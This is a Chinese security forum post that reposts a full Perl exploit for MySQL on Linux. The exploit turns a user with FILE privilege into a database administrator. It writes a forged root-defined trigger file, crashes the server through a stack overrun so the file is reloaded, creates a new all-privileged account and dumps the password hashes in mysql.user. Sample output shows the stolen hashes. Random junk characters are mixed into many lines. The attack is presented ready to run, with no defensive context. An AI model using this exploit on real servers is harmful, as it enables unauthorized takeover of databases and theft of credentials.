找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2052|回复: 0
打印 上一主题 下一主题

MySQL(Linux)远程数据库提权漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:08:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞在12月1日的Seclist上发布,作者在Debian Lenny (mysql-5.0.51a) 、 OpenSuSE 11.4 (5.1.53-log)上测试成功,代码执行成功后会增加一个MySQL的管理员帐号。
3 ^0 ]: ?$ j* D" O: S9 l
6 ~; @# S; z( `' s/ z& k. T3 L 8 {* j% X; T0 G) x: g2 I4 Z( ?/ l

0 V, n- B. Z, E5 L) o4 z 8 N* J0 z8 t; d; L2 d

  C* e/ v+ H$ p- U% Ouse DBI(); $|=1; =for comment MySQL privilege elevation Exploit This exploit adds a new admin user. By Kingcope Tested on * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: *The attacker is in possession of a mysql user with 'file' privileges for the target *So the attacker can create files on the system with this user (owned by user 'mysql') *So the attacker is able to create TRIGGER files for a mysql table9 |2 Z/ m7 y1 R
        triggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entry
  a  g4 a7 }0 B) N        describing the attached user for the trigger as "root@localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file would not be recognized. So what the exploit does is: * Connect to the MySQL Server * Create a table named rootme for the trigger * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
' v% V# E% t2 @6 p* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)0 ?: g3 x( h1 ?
* INSERT a value into the table so the trigger event gets executed
3 r6 ~1 B* E3 I& e* The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.
! d/ u! u3 v2 }( S' V) S+ {* Crash the MySQL Server again to force it reload the user configuration
. I: X! ?. ?- p, u9 W* Create a new mysql user with all privileges set to enabled! p, B4 P  K* A" T- y8 S: b* c; D
* Crash again to reload configuration: }- r& N5 c' x0 w- K) h
* Connect by using the newly created user
8 ]7 C8 }8 p! `9 g6 i3 c- G* The new connection has ADMIN access now to all databases in mysql" m0 y) X9 Q! x7 ]- g
* The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded& ]" J* ~( `% h* \& R
* As said the user has FULL ACCESS to the database now
+ J& ]3 P& l+ k6 I+ M: v' ?! V) z3 M: w0 L8 y7 G
Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
. _! b- B4 p: N. q. L! \' l=cut' C( f/ d( \+ Q

5 u+ N6 W! a4 |2 \! T/ F=for comment9 l, W# G: w( J9 v2 g5 T6 @8 |
$ w& E1 K) K, d1 G( u
user created for testing (file privs will minor privileges to only one database):0 _0 z# s. o( _1 E* N" K+ y1 f! A
' s( J( U! g/ ]( g/ {# [" A
mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';9 M. v' c7 w9 X
Query OK, 0 rows affected (0.00 sec)
7 I7 C5 [7 T; w7 c. C5 e% j$ s  a3 R2 C& `
mysql> create database lessdb* _( n6 h! T) ~; g' h- F9 N% t! R
    -> ;
6 z* @- A: o7 E$ RQuery OK, 1 row affected (0.00 sec)
1 I. g2 y4 j5 b# f6 P8 V
" k1 w2 |5 P  i0 \% C0 Wmysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
! i, M: q8 w  SQuery OK, 0 rows affected (0.02 sec)) o# R9 Z0 M+ K' e' _1 ?( e
; W" p( w1 z& I7 K/ t
mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;
- g( u1 v% t' O+ BQuery OK, 0 rows affected (0.00 sec)5 ~: _. f1 D' x, P
" ^6 g' u- F1 |; G) Y6 s4 ]2 A% C6 p
login with new unprivileged user:3 b/ Z. }( E: y+ X5 G5 Z' F
mysql> select * from mysql.user;
0 U3 _$ f1 R, H' _6 PERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
# ?9 l5 g0 U& X: i, J/ }
8 v5 Z* y, u1 u4 V- p3 }=cut( M; s+ T, l6 i

8 H) m1 Z1 |0 C; R=for comment) N" c6 N8 g1 W5 E
0 p! _& |: P$ p& q* x/ J: {7 b- Y
example attack output:
$ D1 R% h2 K, n+ J2 E$ [% S# H. L1 G* d/ s5 w
C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl
: l9 N7 T# r* A% i# H1 z; C  e4 f: i5 Iselect 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER( c2 G% l" H4 B' ^
MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins/ Y2 x8 N# a6 N
ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\ ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p. d2 I+ [& n+ r
riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\  q# ~* m; _* X+ n* T
\', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference4 Z/ e7 T. p7 r1 Z( I- Q" `
s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y
, Q5 |) @' [, P- j; D1 V\\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
1 N5 u/ X- K  y4 w\'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\, Z# h: H# X% |( y; V% p8 G2 ?
'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type= \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\', max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs* d" N2 e0 i3 q2 [' o! Q
_names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati( h- F! s# |, v9 z
n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
6 P. w% B" c& c6 `% Z/ p( ^vilege_elevation.pl line 44.! y1 m2 N/ s) U' E6 `$ ?
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
* C5 l5 E% r' B# w8 j+ nprivilege_elevation.pl line 50.5 U- m  N0 i' q8 N' G7 I. @' }! b# Y! v
DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_% j' x. D9 t9 n% M
privilege_elevation.pl line 59.
) l' b5 e6 u: }- [/ ^W00TW00T!
' {4 D, y' G4 J# ^  f' D; WFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
$ `6 o* ?7 }6 J5 KFound a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
* M( p. r3 q6 c4 f9 S6 G0 L& {Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
7 T& A- B" j- FFound a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
% Y" s! x, I7 Z, k# N! A/ Z( D2 G5 FB02C
8 O$ z5 _) Q( RFound a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
& `9 Q( N  F  q$ t5 _Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B* S! x' y# y' u) X0 E9 S5 d
Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
3 s+ b; @* J# {( q3 MFound a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
8 Y2 o8 W  n0 ~. o- ]8 n% uFound a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
! e# f4 x8 x' `Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
2 Q; V3 L1 V( p& i9 }Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
- g$ p" S' O8 `: qFound a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
. h) e- F5 T" R- W% k5 e  c7 T
8 r  r) _( d: Q! x=cut, ^/ I' D' P' [  j# f5 x  h
* R% P1 ^/ ]8 k% U6 Y- ^
$user = "less10";
9 Z8 @3 S4 ~  C- w2 D/ X$password = "test";8 |2 N0 a4 S) O
$database = "lessdb10";
) m& ^# d* J3 \! P. \! [. j' d) G$target = "192.168.2.4";
" ^3 D9 |# d' v5 [1 |7 }$folder = "/var/lib/mysql/"; # Linux
) @, M( \7 z* j7 j$newuser = "rootedbox2";) E4 y* k! S' f4 J/ z: u+ c
$newuserpass = "rootedbox2";& d+ {/ s$ W% K/ R) j% E/ P" Z% ?
$mysql_version = "51"; # can be 51 or 50
& c) e* J8 h* D8 _7 X& z8 K
: K* m8 V8 u# X1 i/ z0 Yif ($mysql_version eq "50") {
# i( j( S, z2 d$ @  V! ~$inject =
; l. k: U$ L2 T& i1 r. k"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";; p) q) t: s# A
} else {+ j  d9 r$ E+ B' p" g+ E
$inject =
' i. B+ f( D3 f1 M; \* w, E"select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
4 N: O+ D5 R. `5 V- E  G4 O1 u}
! p5 K, d4 A" K, l- ]; |+ I. e: F( r9 Y' T$ d6 I7 a# H4 J0 M, J
print $inject;#exit;
8 _* n" e: m0 ?$inject2 =
" {) H; P, k& C$ Q, ^  B"SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";$ E( V) V! N, V- Z; Z4 @

5 }6 k0 D$ t+ }* X+ D8 ]6 ]my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
/ M' P6 B8 E5 S3 ~9 K. l: S; X                       "$user", "$password",
. g  K) G5 V" }8 ?* [" V' o                       {'RaiseError' => 0});, w: P6 I- P6 {' P
eval { $dbh->do("DROP TABLE rootme") };5 O% J+ U5 `8 P- r9 \; v0 m
$dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
4 ]+ w2 u! m- J9 |. O8 t$dbh->do($inject);; Z- l/ u. o" {  `
$dbh->do($inject2);8 \. c0 P) x/ p: @

& N; y6 }) ^/ x7 J$a = "A" x 10000;
. b4 B6 `/ K8 l3 o0 T# i9 \! P6 n& w$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
% r5 Z( `" r/ b
8 P7 Y, j- J, f9 M9 ysleep(3);6 W* Z6 A! F2 o# ]
0 z2 b; U# w6 N
my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
1 g6 R5 G$ w$ g; @; ^& S                       "$user", "$password",0 [! Z* }1 }1 ~1 B
                       {'RaiseError' => 0});
2 @' i& M6 l) M+ o/ }9 t" A
: n! S, D* V3 A4 L$dbh->do("INSERT INTO rootme VALUES('ROOTED');");
2 P8 l  y0 i* f$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");- ~; M9 Y; q1 e$ s1 B
! ~# @# N' q/ r8 k
sleep(3);
% r# @/ |; Z% o6 H# M
9 k9 b. x% j' O9 cmy $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",4 ^4 n! O2 `. R
                       "$user", "$password",
  `+ d+ W9 ?, m  s" Q4 j                       {'RaiseError' => 0});: T+ ]3 B0 r& F: P9 Z+ ?

' X. z) `4 d; H$ J2 `  W. p$dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");$ J4 |2 M9 p! p4 U/ J4 c* a& A! [
$dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
$ e2 G( v4 K2 C1 N2 s5 }$dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
+ I- g" x3 p. L/ s% h- m2 d# ?0 {0 @% L6 j* i1 o
sleep(3);2 G. ]2 I8 R4 Y' l! `# Z8 d+ W

! m- p3 {7 M! z) I1 Kmy $dbh = DBI->connect("DBI:mysql:host=$target;",+ U  W# c* s) ^& l% Z; k
                       $newuser, $newuserpass,% r& i2 `( n' ?9 @- [  j. `( J+ K' h
                       {'RaiseError' => 0});
, n6 p8 z6 E9 {# D$ a4 s
& t. u# K4 ~; ~0 J8 Ymy $sth = $dbh->prepare("SELECT * FROM mysql.user");  ?( ?0 h. ?; y4 g3 c7 x
$sth->execute();
; o$ I- o; Q. }- @, i" V8 I3 G# ~! l5 B5 _, o& j
print "W00TW00T!\n";
! M3 {: {# Z1 _$ G; \8 ~5 n# p& m. r1 D) ?
while (my $ref = $sth->fetchrow_hashref()) {
( j' h# ]' Y4 |; N* c4 V0 O5 X: Eprint "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";
4 V( U. V3 @% r2 a: \; l$ [$ ?# K}/ p; J( }5 M2 [1 |
$sth->finish();
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表